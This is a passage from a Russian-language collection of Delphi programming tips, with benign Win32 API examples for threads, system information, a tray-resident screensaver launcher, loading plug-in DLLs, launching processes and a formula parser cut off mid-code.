К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл.
Потомку надо передать имя файла, а вот как?
Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим
образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор
CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно
пользоваться данными, переданными ей при его создании.
Например:
TYourThread = class(TTHread)
private
FFileName: String;
protected
procedure Execute; overrided;
public
constructor Create(CreateSuspennded: Boolean;
const AFileName: String);
end;
.....
constructor TYourThread.Create(CreateSuspennded: Boolean;
const AFileName: String);
begin
inherited Create(CreateSuspennded);
FFIleName := AFileName;
end;
procedure TYourThread.Execute;
begin
try
....
if FFileName = ...
....
except
....
end;
end;
....
TYourForm = class(TForm)
....
private
YourThread: TYourThread;
procedure LaunchYourThread(const AFileName: String);
procedure YourTreadTerminate(Sender: TObject);
....
end;
....
procedure TYourForm.LaunchYourThread(
const AFileName: String);
begin
YourThread := TYourThread.Create(True, AFileName);
YourThread.Onterminate := YourTreadTerminate;
YourThread.Resume
end;
....
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
....
end;
....
end.
Иногда Delphi-приложениям может не хватать функциональной полноты стандартной библиотеки компонентов и тогда бывает
необходимо обратиться к Microsoft Win32 API (Application Programming Interface - интерфейса взаимодействия прикладной
программы с операционной системой). Почти все функции из Microsoft Win32 API описаны в модуле windows.pas (который по
умолчанию включается в cекцию uses новых модулей). Cледует заметить, что часть из этих функции ведет себя по разному в
зависимости от текущей операционной системы (Windows 95, 98, NT).
Разработаем программу, показывающую нам некоторую системную информацию о компьютере. В частности, хотелось бы
получить информацию о версии ОС, ее директориях, свойствах экрана, ресурсах памяти, имени пользователя и компьютера, дате
BIOS. Помимо этого, разрешим пользователю изменять настройки клавиатуры, встроенного динамика и хранителя экрана.
Процесс визуального проектирования описывать не будем; рассмотрим лишь страницу "Параметры". Для удобства управления
параметрами клавиатуры положим на нее две компоненты TTrackBar. Изменим свойство Name на tbKeyboardDelay и
tbKeyboardSpeed. Изменим свойство PageSize на 1. Для tbKeyboardDelay установим Max=3 и для tbKeyboardSpeed. Max=31. Для
управления свойствами хранителя экрана используем TCheckBox (свойство Name сменим на cbScreenSaverActive, Caption на
'Хранитель экрана') и TMaskEdit (свойство Name='edSSTimeOut' и EditMask='!999;1;'). Аналогично добавим TCheckBox (свойство
Name='cbSpeaker', Caption='Использование встроенного динамика' ).
Рассмотрим текст программы. В список включаемых модулей uses добавим registry. Добавим описание процедур в раздел public
описания TfmMain.
type
TfmMain = class(TForm)
...
procedure FormCreate(Sender: TObject);
procedure Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
KeyboardDelay,
KeyboardSpeed,
ScreenSaveTimeOut : integer;
procedure ParametersInfo;
procedure ShowSomeInfo;
procedure BIOSInfo(OS : string);
procedure HardwareInfo;
procedure MemoryInfo;
procedure VideoInfo;
procedure OSInfo;
end;
var fmMain: TfmMain;
implementation
uses Registry;
{$R *.DFM}
Сначала получим информацию о компьютере. Используем функцию GetComputerName для получения имени компьютера,
функцию GetUserName для получения имени пользователя и функцию GetSystemInfo для получения информации о процессоре
(наиболее полно данная функция реализована в Windows NT, где она возвращает и кол-во процессоров и их тип и т.д.).
// Информация о компьютере.
procedure TfmMain.HardwareInfo;
var Size : cardinal;
PRes : PChar;
BRes : boolean;
lpSystemInfo : TSystemInfo;
begin
// Имя компьютера
Size := MAX_COMPUTERNAME_LENGTH + 1;
PRes := StrAlloc(Size);
BRes := GetComputerName(PRes, Size);
if BRes then laCompName_.Caption := StrPas(PRes);
// Имя пользователя
Size := MAX_COMPUTERNAME_LENGTH + 1;
PRes := StrAlloc(Size);
BRes := GetUserName(PRes, Size);
if BRes then laUserName_.Caption := StrPas(PRes);
// Процессор
GetSystemInfo(lpSystemInfo);
laCPU_.Caption := 'класса x' + IntToStr
(lpSystemInfo.dwProcessorType);
end;
Перейдем к параметрам экрану. Здесь мы будем использовать и Win32 API функции и стандартные объекты VCL. Так для
получения разрешения экрана нам понадобится объект TScreen (его свойства Width и Height). Остальные параметры мы получим
через контекст драйвера устройства DC используя функцию GetDeviceCaps.
// Информация о видеосистеме.
procedure TfmMain.VideoInfo;
var DC : hDC;
c : string;
begin
// Разрешение экрана
laWidth_.Caption := IntToStr(Screen.Height);
laHeight_.Caption := IntToStr(Screen.Width);
// Информация о глубине цвета.
DC := CreateDC('DISPLAY',nil,nil,nil);
laBitsPerPixel_.Caption :=
IntToStr(GetDeviceCaps(DC,BITSPIXEL));
laPlanes_.Caption :=
IntToStr(GetDeviceCaps(DC,PLANES));
case GetDeviceCaps(DC,BITSPIXEL) of
8 : c := '256 цветов';
15 : c := 'Hi-Color / 32768 цветов';
16 : c := 'Hi-Color / 65536 цветов';
24 : c := 'True-Color / 16 млн цветов';
32 : c := 'True-Color / 32 бит';
end;
laColors_.Caption := c;
DeleteDC(DC);
end;
Также будет интересна информация о памяти. Здесь нам поможет функция GlobalMemoryStatus, возвращающая информацию по
объему физической и виртуальной памяти.
// Информация о памяти.
procedure TfmMain.MemoryInfo;
var lpMemoryStatus : TMemoryStatus;
begin
lpMemoryStatus.dwLength := SizeOf(lpMemoryStatus);
GlobalMemoryStatus(lpMemoryStatus);
with lpMemoryStatus do begin
laFreeMemory.Caption :=
laFreeMemory.Caption +
IntToStr(dwMemoryLoad) + '%';
laRAM_.Caption := Format('%0.0f Мбайт',
[dwTotalPhys div 1024 / 1024]);
laFreeRAM_.Caption := Format('%0.3f Мбайт',
[dwAvailPhys div 1024 / 1024]);
laPF_.Caption := Format('%0.0f Мбайт',
[dwTotalPageFile div 1024 / 1024]);
laPFFree_.Caption := Format('%0.0f Мбайт',
[dwAvailPageFile div 1024 / 1024]);
end;
end;
Узнаем информацию о ОС. Функция GetWindowsDirectory вернет путь к каталогу, где установлена система, функция
GetSystemDirectory - к системному каталогу. Для определения версии ОС воспользуемся функцией GetVersionEx.
// Информация о Windows.
procedure TfmMain.OSInfo;
var PRes : PChar;
Res : word;
BRes : boolean;
lpVersionInformation : TOSVersionInfo;
c : string;
begin
// Каталог, где установлена Windows
PRes := StrAlloc(255);
Res := GetWindowsDirectory(PRes, 255);
if Res > 0 then laWinDir_.Caption :=
StrPas(PRes);
// Системный каталог Windows
Res := GetSystemDirectory(PRes, 255);
if Res > 0 then laSysDir_.Caption :=
StrPas(PRes);
// Имя ОС
lpVersionInformation.dwOSVersionInfoSize :=
SizeOf(TOSVersionInfo);
BRes := GetVersionEx(lpVersionInformation);
if BRes then
with lpVersionInformation do case dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS :
if dwMinorVersion=0 then c := 'Windows 95'
else c := 'Windows 98';
VER_PLATFORM_WIN32_NT : c := 'Windows NT';
VER_PLATFORM_WIN32s : c := 'Win 3.1 with Win32s'
end;
laVersion_.Caption := c;
// Дата создания BIOS-а
if c='Windows NT' then BIOSInfo('NT') else BIOSInfo('95');
end;
В предыдущем отрывке программы внимательный читатель заметил вызов функции BIOSInfo с параметром, характеризующем
текущую ОС. Опишем эту функцию. Важно отметить, что способ получения информации о дате BIOS различен. Для NT получим
информацию из реестра, а для Windows 95/98 из соответствующего участка памяти. Эти два способа взаимоисключаемы, так как у
Windows 95/98 нет соответствующего раздела реестра, а прямой доступ к памяти в NT невозможен.
// Информация о дате создания BIOS-а.
procedure TfmMain.BIOSInfo(OS : string);
var p : pointer;
s : string[255];
begin
if OS='NT' then begin with TRegistry.Create do
try RootKey := HKEY_LOCAL_MACHINE;
if OpenKeyReadOnly
('HARDWARE\DESCRIPTION\System')
then laBIOSDate_.Caption :=
ReadString('SystemBiosDate')
finally Free;
end;
end
else try
s[0] := #8;
p := Pointer($0FFFF5);
Move(p^,s[1],8);
laBIOSDate_.Caption :=
copy(s,1,2) + '/' + copy(s,4,2) + '/' +copy (s,7,2);
except laBIOSDate_.Caption := 'XX.XX.XXXX';
end;
end;
Рассмотрим функцию SystemParametersInfo, которая позволяет управлять некоторыми настройками системы. Область применения
данной функции для NT и Windows 95/98 различна. Умышленно выберем некоторую общую часть для обеих систем.
// Информация о параметрах
procedure TfmMain.ParametersInfo;
var Bl : boolean;
begin
// Разрешен ли PC Speaker
SystemParametersInfo(SPI_GETBEEP,0,@Bl,0);
cbSpeaker.Checked := Bl;
// Активен ли хранитель экрана
SystemParametersInfo
(SPI_GETSCREENSAVEACTIVE,0,@Bl,0);
cbScreenSaverActive.Checked := Bl;
// Интервал вызова хранителя экрана
SystemParametersInfo
(SPI_GETSCREENSAVETIMEOUT,0,
@ScreenSaveTimeOut,0);
// Настройки клавиатуры
SystemParametersInfo
(SPI_GETKEYBOARDDELAY,0,
@KeyboardDelay,0);
SystemParametersInfo
(SPI_GETKEYBOARDSPEED,0,
@KeyboardSpeed,0);
end;
// Отображение настроек
procedure TfmMain.ShowSomeInfo;
begin
tbKeyboardDelay.Position := 3 - KeyboardDelay;
tbKeyboardSpeed.Position := KeyboardSpeed;
edSStimeOut.EditMask := IntToStr
(ScreenSaveTimeOut div 60);
end;
Также позволим пользователю изменять и сохранять настройки системы по своему вкусу. Здесь также будем использовать
функцию SystemParametersInfo. Для компонентов tbKeyboardSpeed, tbKeyboardDelay, cbScreenSaverActive, cbSpeaker, edSSTimeOut в
ObjectInspector перейдем на закладку Events и изменим событие OnChange (для tbKeyboardSpeed, tbKeyboardDelay) , OnClick (для
cbScreenSaverActive, cbSpeaker) и OnExit для edSSTimeOut на Change. Таким образом, все пять вышеперечисленных компонент после
изменений состояний передадут управление нижеприведенной процедуре.
// Сохранение изменений параметров системы
procedure TfmMain.Change(Sender: TObject);
var Sen : TComponent;
begin
Sen := Sender as TComponent;
// Вкл/Выкл PC Speaker-а.
if (Sen.Name='cbSpeaker') and cbSpeaker.Checked
then SystemParametersInfo
(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE)
else SystemParametersInfo
(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);
// Вкл/Выкл активности хранителя экрана.
if (Sen.Name='cbScreenSaver') and cbScreenSaverActive.Checked
then SystemParametersInfo
(SPI_SETSCREENSAVEACTIVE,1,nil,SPIF_UPDATEINIFILE)
else SystemParametersInfo
(SPI_SETSCREENSAVEACTIVE,0,nil,SPIF_UPDATEINIFILE);
// Изменение значения задержки перед повтором с клавиатуры
if (Sen.Name='tbKeyboardDelay') then SystemParametersInfo(
SPI_SETKEYBOARDDELAY,3-tbKeyboardDelay.Position,nil,
SPIF_SENDWININICHANGE);
// Изменение значения скорости ввода с клавиатуры
if (Sen.Name='tbKeyboardSpeed') then SystemParametersInfo(
SPI_SETKEYBOARDSPEED,tbKeyboardSpeed.Position,nil,
SPIF_SENDWININICHANGE);
// Изменение интервала запуска хранителя экрана
if (Sen.Name='edSSTimeOut') then SystemParametersInfo(
SPI_SETSCREENSAVETIMEOUT,StrToInt(edSSTimeOut.Text)
*60,nil,SPIF_UPDATEINIFILE);
end;
И ,наконец, вызовем все эти процедуры при создании формы.
// Вызов информационных процедур при создании формы.
procedure TfmMain.FormCreate(Sender: TObject);
begin
HardwareInfo;
MemoryInfo;
VideoInfo;
ParametersInfo;
ShowSomeInfo;
OSInfo;
end;
Использование Delphi совместно c фунциями Microsoft Win32 API позволит программисту создать более функционально богатые
и гибкие приложения.
При изменении размера динамической структуры удобно пользоваться процедурой ReallocMem. Эта процедура изменяет объем
выделенной памяти до необходимого. Если Вы увеличиваете объем выделенной памяти, процедура постарается оставить данные на
старом месте. Это возможно в том случае, если после этих данных память пуста. Если же это не получится, будет выделен новый
кусок памяти, а данные перемещены туда. Пример:
function ShowArray(p: PByteArray; count: integer): string;
var
i: integer;
begin
result := '';
for i := 0 to count - 1 do
result := result + IntToStr(p^[i]) + ' ';
end;
procedure TForm1.Button1Click(Sender: TObject);
var
p: PByteArray;
i: integer;
begin
randomize;
p := AllocMem(10);
for i := 0 to 9 do
p^[i] := random(256);
Label1.Caption := ShowArray(p, 10);
ReallocMem(p, 20);
for i := 10 to 19 do
p^[i] := random(256);
Label2.Caption := ShowArray(p, 20);
end;
Динамический массив заполняется случайными числами. После этого размер массива изменяется. Для этого используется лишь одна
процедура - ReallocMem. После ее выполнения, данные в начале массива остаются неизмененными.
Резидентная прога
05 ноя 2001 (понедельник), 09:50:40
программу без использования VCL (Visual Component Library). Иначе это можно назвать "написанием программ на WinAPI". Один
из способов создать такой проект в Delphi - в меню File | New... выбрать Console Application и удалить строку {$APPTYPE
CONSOLE}.
Почти для любого действия нам понадобится окно. Но видеть нам его не нужно. Поэтому, создадим невидимое окно. Для этого
нужно зарегистрировать класс окна и создать его, но не показывать. Эти два действия происходят в функции CreateMyWnd. Чтобы
было возможно общение пользователя с программой, можно сделать TrayIcon (иконку справа на панели задач). Она создается в
процедуре CreateTray. Иконку я взял, наверное, не самую подходящую, но это для примера. Точно так же можно взять собственную
иконку. Для tray также нужно всплывающее меню. Здесь оно создается в функции CreateMyMenu и состоит всего из одного пункта.
Резидентные программы обычно отслеживают что-то. Для этой цели бывает необходим таймер. Создается он при помощи SetTimer.
Чтобы наша программа не "тормозила" компьютер, приоритет программы лучше всего установить в самый низкий. Конечно, это
хорошо не во всех случаях, но иногда это весьма полезно.
Эта программа занимается тем, что запускает ScreenSaver при сдвиге курсора в левый верхний угол (координаты курсора
проверяются каждую секунду) и при нажатии клавиши Pause (реализуются через HotKey). Задача, конечно, не самая актуальная.
Присылайте, пожалуйста, ваши идеи по поводу задач для резидентной программы.
program MyResident;
uses
Windows,
ShellAPI,
Messages;
const
ClassName = 'MyResident'; { Имя класса }
WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
генерироваться при событиях с tray }
var
menu: hMenu; { Всплывающее меню }
mywnd: hWnd; { Окно программы }
function MyWndProc(wnd: hWnd; msg, wParam,
lParam: longint): longint; stdcall;
var
p: TPoint;
s: array [0..255] of char;
tray: TNotifyIconData;
begin
case msg of
WM_TIMER: begin { Событие таймера }
GetCursorPos(p);
if (p.x = 0) and (p.y = 0) then begin { Проверка координат курсора }
{ Если ScreenSaver еще не запущен - запустить: }
GetClassName(GetForegroundWindow, s, length(s));
if s <> 'WindowsScreenSaverClass'
then SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
end;
result := 0;
end;
WM_NOTIFYTRAYICON: begin { Событие tray }
{ Если нажата правая кнопка, показать меню: }
if lparam = WM_RBUTTONUP then begin
GetCursorPos(p);
TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
end;
result := 0;
end;
WM_COMMAND: begin { Выбран пункт меню }
{ Если выбран нулевой пункт (здесь - единственный) -
закрыть программу: }
if lo(lparam) = 0 then SendMessage(mywnd, WM_CLOSE, 0, 0);
result := 0;
end;
WM_HOTKEY: begin { Нажата горячая клавиша }
{ Запуск хранителя экрана: }
SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
result := 0;
end;
WM_DESTROY: begin { Закрытие программы }
{ Удаление tray: }
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
end;
Shell_NotifyIcon(NIM_DELETE, @tray);
PostQuitMessage(0);
result := 0;
end;
else Result := DefWindowProc(wnd, msg, WParam, LParam);
end;
end;
function CreateMyWnd: hWnd;
var
wc: WndClass;
begin
{ Гегистрация класса: }
wc.style := 0;
wc.lpfnWndProc := @MyWndProc;
wc.cbClsExtra := 0;
wc.cbWndExtra := 0;
wc.hInstance := hInstance;
wc.hIcon := 0;
wc.hCursor := 0;
wc.hbrBackground := COLOR_WINDOW;
wc.lpszMenuName := nil;
wc.lpszClassName := ClassName;
if RegisterClass(wc) = 0 then halt(0);
{ Создание окна: }
result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
'My Window', WS_POPUP, 0, 0, 0, 0, 0, 0, hInstance, nil);
if result = 0 then halt(0);
end;
procedure CreateTray;
var
tray: TNotifyIconData;
begin
{ Создание tray: }
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallBackMessage := WM_NOTIFYTRAYICON;
hIcon := LoadIcon(0, IDI_ASTERISK);
szTip := ('My Resident');
end;
Shell_NotifyIcon(NIM_ADD, @tray);
end;
function CreateMyMenu: hMenu;
begin
{ Создание меню: }
result := CreatePopupMenu;
if result = 0 then halt(0);
if not AppendMenu(result, MF_STRING, 0, 'Exit') then halt(0);
end;
var
msg: TMsg;
begin
mywnd := CreateMyWnd; // Создание окна
CreateTray; // Создание tray
menu := CreateMyMenu; // Создание меню
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE); { Установка
низкого приоритета }
RegisterHotKey(mywnd, 0, 0, VK_PAUSE); // Регистрация "горячей клавиши"
SetTimer(mywnd, 0, 1000, nil); // Создание таймера
while (GetMessage(msg, 0, 0, 0)) do begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
KillTimer(mywnd, 0); // Уничтожение таймера
UnregisterHotKey(mywnd, 0); // "Уничтожение" горячей клавиши
end.
Как копировать фаил чтобы прогрес индикатор двигался и кнопку отмена можно было нажать?
Вызывай ShFileOperation() будет тебе и прогесс бар и кнопочка.
При копировании, чтобы обеспечить обслуживание юзера, ИМХО, лучше делать так: копируешь порциями примерно по 4-16К,
после чего смотришь на события, и раз в секунду чего-нить выводишь юзеру (сигнал, что прога не висит).
Резюмируя:
Если хочешь поиметь прогресс без усилий, используй SHFileOperation.
Если хочешь реализовыать прогрессом сам (с какими-нибудь, например, дополнительными примочками) то:
NT, W2K - CopyFileEx
Win9x - ручками, ручками, "примерно по 4-16К"
Вот, случайно набpели в хэлпе. Если нужно изменить pесуpсы какого-либо модуля, то это можно делать с помощью нехитpой
опеpации:
1) Вынимаете pесуpсы из этого модуля.
2) Пеpеводите их на дpугой язык. (напpимеp pусский)
3) Создаете в Delphi свой пpоект Dll-ки (с именем того модуля, из котоpого вы вынули pесуpсы, напpимеp vcl30), в котоpый
включаете _пеpеведенные_ pесуpсы:
{$R vcl30rus.res}
4) Собиpаете все это.
5) Пеpеименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System.
Если вы хотите, пpиложение "говоpило" по pусски только тогда, когда в pегиональных установках стоит Russia - то тогда это все.
Если же вы хотите, чтобы ваше пpиложение _всегда_ поднимало pусские pесуpсы, то необходимо сделать следующее добавление в
Registry:
HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales
"X:\MyProject\MyApp.exe" = "rus"
Тепеpь, когда ваше пpиложение будет поднимать pakages, то всегда будут бpаться pусские pесуpсы. Дpугие пpиложения, напpимеp
Delphi - это не затpонет. Таким обpазом можно заменять даже DFM-ки из пpоекта.
Более подpобно об этом - см Help - Index - Localizing...
=== 1 ===
Как написать свой PlugIN (типа поддержки различных форматов файлов ...)
Типовая задача - разрабатывается некая задача и при этом
- Некоторые ее компоненты могут не инсталлироваться баз ущерба для работоспособности
- Некоторые компоненты предполагается изготавливать впоследствии и рассылать пользователям
- Некоторые компоненты могут разрабатываться другими программистами и распространяться независимо от программы
.....
Классические примеры - фильтры для совместимости по форматам файлов с другими программами, некоторые расширения и
дополнительные возможности. Примеры и моей практики - приведу парочку
Программа управления программатором ПЗУ.
Заранее неизвестно, с каким железом она будет работать и как им управлять. Необходимо было дать возможнось разработчику железа
написать для него поддержку
Программа печати отчетов. Она должна печатать в любой кодировке на любой принтере, в т.ч. и экзотическом типа АЦПУ. Заранее
неизвестно, какие принтеры будуп применяться совместно с ней и как ими управлять (известно только одно - драйверов под них нет
и не будет) - переделывать программу под каждый принтер - неинтересно ...
Итак, все это можно реализовать в DLL, однако обычное ее подключение приведет к тому, что при запуске программа будет искать
все подключенне к ней DLL и в случае отсутствия хотя-бы одной откажется запускаться. Это не приемлемо, но к счастю есть
возможность и весьма удоюный набор сервисных функций для динамической загрузки, использования и выгрузки DLL.
Пример (приложение имеет одно окно, на нем кнопка):
Unit
Unit1;
Interface
Uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;type TForm1 = class(TForm) Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
public
end;
// Тип "процедура". Естественно, можно определит типы
// "функция" или "функция с параметрами" ...
TDllProc = procedure;
var Form1: TForm1;
DllProcPtr : TdllProc;
LibInstance : HMODULE;
// Логический номер модуля DLL
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
// Проверим, загружена ли DLL
if LibInstance=0 then
Begin
// Не загружена, попробуем загрузить
LibInstance := LoadLibrary('plug_in.dll');
// Проверим, успешна ли загрузка (LibInstance=0 - неуспешно)
If LibInstance=0 then
Begin
ShowMessage('Ошибка загрузки библиотеки plug_in.dll');
exit;
end;
// Ищем функцию по ее имени (имя должно точно совпадать)
DllProcPtr := TDllProc(GetProcAddress(LibInstance,'MyProc'));
// Проверим, нашли ли (если нашли, то Assigned вернет true)
if not Assigned(DllProcPtr) then
Begin
// Не нашли - выгружаем DLL из памяти
FreeLibrary(LibInstance);
LibInstance:=0;
ShowMessage('Ошибка: функция MyProc не найдена');
exit;
end;
// Непосредственно вызов функции
DllProcPtr;
// Выгрузка библиотеки
FreeLibrary(LibInstance);
LibInstance:=0;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
DllProcPtr:=nil;
LibInstance:=0;
end;
end.
Естественно, в реальной задаче имеет смысл создать свой класс, который при инициализации будет загружать библиотеку, а при
уничтожении - выгружать. Кроме того, он должен меть функцию типа "Перезагрузить библиотеку", которая будет выгружать
текущую и загружать новую. DLL - обычная, естественно может иметь неограниченное количество процедур и функций.
Особенности:
Пока библиотека загружена, ее файл нельзя ни удалить, ни переименовать. Поэтому при возникновении ошибок следует выгружать
библиотеку, иначе пользователь не сможет ее заменит (без перезагрузки ПК).
Обычно имеет смысл создать ряд функции типа GetInfo, GetAutor, GetCopyRight ..., чтобы вызывающая программа могла получить
информацию о назначении данной DLL
Расширение DLL не является обязательным, поэтому можно применять свои расширения (например DRV)
=== 2 ===
Каким образом организовать ожидание завершения DOS-задачи? Например, надо подождать, пока заархивируется файл, и далее
обработать его.
uses
...,windows,...
procedure RunRarAndWait;
var
si: TStartupInfo;
pi: TProcessInformation;
begin
//подготовливаем записи si и pi к использованию
FillChar(si, SizeOf(si));
si.cb := SizeOf(si);
FillChar(pi, SizeOf(pi));
//попытаемся запустить рар
if CreateProcess('rar.exe', 'parameters',
nil, nil, //безопасность по умолчанию
false, //не наследовать хэндлов
0, //флаги создания по умолчанию
nil, //переменные среды по умолчанию
nil, //текущая директория по умолчанию
si, //стартовая информация
pi) //а в эту запись получим информацию о созданом процессе
then
begin //удалось запустить рар
//подождем пока рар работает
WaitForSingleObject(pi.hProcess, INFINITE);
//убираем мусор
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
end else
//выдаем сообщение об ощибке
MessageDlg(SysErrorMessage(GetLastError), mtError, [mbOK], 0);
end;
=== 3 ===
function WinExecute(CmdLine: string; Wait: Boolean): Boolean;
var
StartupInfo: TStartupInfo;
ProcessInformation: TProcessInformation;
begin
Result := True;
try
FillChar(StartupInfo, SizeOf(StartupInfo), 0);
StartupInfo.cb := SizeOf(StartupInfo);
if not CreateProcess(nil, PChar(CmdLine), nil, nil, True, 0, nil,
nil,
StartupInfo, ProcessInformation) then RaiseLastWin32Error;
if Wait then WaitForSingleObject(ProcessInformation.hProcess,
INFINITE);
except
Result := False;
end;
end;
=== 4 ===
function TForm1.StartWithShell(Prog, par, Verz: string; var hProcess :
THandle) : DWord;
var
exInfo: TShellExecuteInfo;
begin
hProcess := 0;
FillChar( exInfo, Sizeof(exInfo), 0 );
with exInfo do begin
cbSize:= Sizeof( exInfo );
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
Wnd := 0;
lpVerb:= 'open';
lpParameters := PChar(par);
lpFile:= Pchar(prog);
nShow := SW_HIDE;
end;
Result := ERROR_SUCCESS;
if ShellExecuteEx(@exInfo) then
hProcess := exinfo.hProcess
else
Result := GetLastError;
end;
function TForm1.StartProgramm : Boolean;
var
r, ExitCode : DWord;
err : string;
hProcess : THandle;
begin
Result := False;
r := StartWithShell('rar.exe', , 'c:\windows\system',
hProcess);
if r = ERROR_SUCCESS then begin
repeat
Application.ProcessMessages;
GetExitCodeProcess(hProcess, ExitCode);
until (ExitCode <> STILL_ACTIVE);
result := true;
end else begin
case r of
ERROR_FILE_NOT_FOUND : err:='The specified file was not
found.';
ERROR_PATH_NOT_FOUND : err:='The specified path was not
found.';
ERROR_DDE_FAIL : err:='The DDE transaction failed.';
ERROR_NO_ASSOCIATION : err:='There is no application associated
with the given filename extension.';
ERROR_ACCESS_DENIED : err:='Access denied';
ERROR_DLL_NOT_FOUND : err:='DLL not found';
ERROR_CANCELLED : err:='The function prompted the user for the
location of the application, but the user cancelled the request.';
ERROR_NOT_ENOUGH_MEMORY: err:='Not enough memory';
ERROR_SHARING_VIOLATION: err:='A sharing violation occurred.';
else err:='Unknown';
end;
MessageDlg('Error: ' + err, mtError, [mbOk], 0);
end;
end;
Так как пробел служит разделителем для функции ParamStr(),
Вам необходимо собрать все переданные параметры в единую строку либо получить всю
строку параметров из переменной CmdLine.
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
s : string;
begin
s := StrPas(CmdLine);
{$IFDEF WIN32}
Delete(s, 1, Pos('" ', s) + 1);
{$ENDIF}
ShowMessage(s);
end;
Следующий пример перехватывает сообщения о прокрутке компонента TScrollBox и синхронизирует обе линейки прокрутки.
Сообщения прокрутки перехватываются с помощью переопределения окнной процедуры (WinProc) ScrollBox'а.
type {$IFDEF WIN32} WParameter = LongInt;
{$ELSE} WParameter = Word;
{$ENDIF} LParameter = LongInt;
{Declare a variable to hold the window procedure we are replacing}
var OldWindowProc : Pointer;
function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter; ParamW : WParameter; ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall;
{$ELSE} ; export;
{$ENDIF}
var TheRangeMin : integer;
TheRangeMax : integer;
TheRange : integer;
begin
if TheMessage = WM_VSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle, SB_HORZ, TheRangeMin, TheRangeMax);
{Get the vertical scroll box position}
TheRange := GetScrollPos(WindowHandle, SB_VERT);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then TheRange := TheRangeMin
else
if TheRange > TheRangeMax then TheRange := TheRangeMax;
{Set the horizontal scroll bar}
SetScrollPos(WindowHandle, SB_HORZ, TheRange, true);
end;
if TheMessage = WM_HSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle, SB_VERT, heRangeMin, TheRangeMax);
{Get the horizontal scroll box position}
TheRange := GetScrollPos(WindowHandle, SB_HORZ);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then TheRange := TheRangeMin
else
if TheRange > TheRangeMax then TheRange := TheRangeMax;
{Set the vertical scroll bar}
SetScrollPos(WindowHandle, SB_VERT, TheRange, true);
end;
{Call the old Window procedure to allow processing of the message.}
NewWindowProc := CallWindowProc(OldWindowProc, WindowHandle, TheMessage, ParamW, ParamL);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{Set the new window procedure for the control and remember the old window procedure.}
OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(@NewWindowProc)));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
{Set the window procedure back to the old window procedure.}
SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(OldWindowProc));
end;
В Delphi нет функции, которая бы позволяла посчитать строку с формулой. Но есть множество способов реализовать это самому.
Здесь я привел самый простой из них. Он не очень быстрый, но при нынешних скоростях компьютеров для многих целей он
подойдет.
Принцип его заключается в следующем. Сначала строка оптимизируется – выкидываются все пробелы, точки и запятые меняются на
установленный разделяющий знак (DecimalSeparator). Все числа и параметры (например, x), содержащиеся в строке "обособляются"
символом #. В дальнейшем это позволяет избежать путаницы с экспонентой, минусами и. т. д. Следующий шаг – замена, если нужно,
всех параметров на их значения. И, наконец, последний шаг, подсчет получившейся строки. Для этого программа ищет все операции
с самым высоким приоритетом (это скобки). Считает их значение, вызывая саму себя (рекурсивная функция), и заменяет скобки и их
содержимое на их значение, обособленное #. Дальше она выполняет то же самое для операции с более низким приоритетом и так до
сложения с вычитанием.
Каждый шаг выделен в отдельную процедуру. Это позволяет быстрее считать функцию, если она не меняется, а меняются только
значения параметров.
Вот модуль с этими методами.
unit Recognition;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Math;
type
TVar = set of char;
procedure Preparation(var s: String; variables: TVar);
function ChangeVar(s: String; c: char; value: extended): String;
function Recogn(st: String; var Num: extended): boolean;
implementation
procedure Preparation(var s: String; variables: TVar);
const
operators: set of char = ['+','-','*', '/', '^'];
var
i: integer;
figures: set of char;
begin
figures := ['0','1','2','3','4','5','6','7','8','9', DecimalSeparator] + variables;
// " "
repeat
i := pos(' ', s);
if i <= 0 then break;
delete(s, i, 1);
until 1 = 0;
s := LowerCase(s);
// ".", ","
if DecimalSeparator = '.' then begin
i := pos(',', s);
while i > 0 do begin
s[i] := '.';
i := pos(',', s);
end;
end else begin
i := pos('.', s);
while i > 0 do begin
s[i] := ',';
i := pos('.', s);
end;
end;
// Pi
repeat
i := pos('pi', s);
if i <= 0 then break;
delete(s, i, 2);
insert(FloatToStr(Pi), s, i);
until 1 = 0;
// ":"
repeat
i := pos(':', s);
